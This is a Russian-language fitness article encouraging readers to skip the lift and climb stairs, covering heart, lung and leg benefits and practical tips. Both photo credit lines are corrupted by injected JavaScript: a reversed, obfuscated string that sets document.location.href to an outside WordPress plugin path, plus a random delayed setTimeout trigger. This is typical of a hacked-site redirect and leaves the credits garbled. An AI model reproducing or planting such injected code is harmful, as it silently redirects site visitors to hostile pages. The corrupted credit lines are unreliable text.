Челлендж дня: откажитесь от лифта

В фитнес-клубах есть специальные тренажёры, которые имитируют подъём по лестнице. Откажитесь от лифта в пользу лестниц, и тренажёр вам не понадобится — у вас и так будут подкачанные ноги и развитые лёгкие.

Зачем это нужно

Ходьба вверх по лестнице — классическая аэробная нагрузка, благодаря которой укрепляются ноги, лёгкие и сердечно-сосудистая система. Во время подъёма работают все мыщцы, особенно квадрицепсы и ягодицы. Ноги становятся рельефнее и сильнее благодаря направленной нагрузке. Крепкие лёгкие позволяют вдыхать больше кислорода, а тренированное сердце эффективнее доставляет кровь, обогащённую кислородом, во все мышцы и органы. 

Врачи Европейского общества кардиологов предлагают с помощью лестницы протестировать ваше состояние здоровья. Если вы сможете преодолеть четыре лестничных пролёта менее чем за минуту, скорее всего, вам не грозит ранняя смерть от заболеваний сердца или онкологии.

Постоянные подъёмы по лестнице могут улучшить ваши показатели в беге и сделать вас выносливее за счёт укрепления ног, лёгких и сердца. Если вы ходите в горы или планируете восхождения, лестницы — это отличный симулятор ходьбы вверх. В горах вы скажете себе спасибо за то, что в городе уделяли полчаса ходьбе по лестницам.

Челлендж дня: откажитесь от лифта. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Ещё четыре причины отказаться от лифта

  • вы сможете тренироваться, даже если на это нет времени. Специалисты Американской кардиологической ассоциации рекомендуют заниматься интенсивными аэробными упражнениями по 150 минут в неделю для поддержания здоровья. Часть тренировки в виде подъёма по лестницам можно выполнить, пока вы едете в офис или идёте домой;
  • вы не подцепите инфекцию от другого человека, который в лифте обычно стоит к вам вплотную;
  • вы не застрянете в лифте, что исключает стресс, страх и опоздания;
  • вы не окажетесь в замкнутом пространстве с незнакомым человеком, который потенциально может быть опасен.

Как ходить по лестницам больше

Челлендж дня: откажитесь от лифта. Изображение номер 2

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

По дороге в офис поднимайтесь по эскалаторам, вместо того чтобы просто стоять. Так вы увеличите свою продуктивность и взбодритесь.

Поднимайтесь на свой этаж дома пешком. Сначала это может быть непросто, особенно если вы живёте выше десятого этажа. Но через пару недель вы увидите, что становится всё легче идти вверх без остановки.

Во время обеденного перерыва разомнитесь, пройдя несколько пролётов вверх и вниз.

В офисе вместо чтения сообщений в мессенджере прогуляйтесь до коллеги, который работает на другом этаже.

На прогулках выбирайте парки с рельефом, где есть возможность подниматься на холмы и спускаться с них.

Статьи по теме

Ходьба по лестнице в офисе увеличивает вашу продуктивность

Миф: чтобы похудеть, нужно много заниматься кардио

Как кардиологи заботятся о своём сердце

Кардиотренировки: 6 способов, как сделать их ещё эффективнее

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector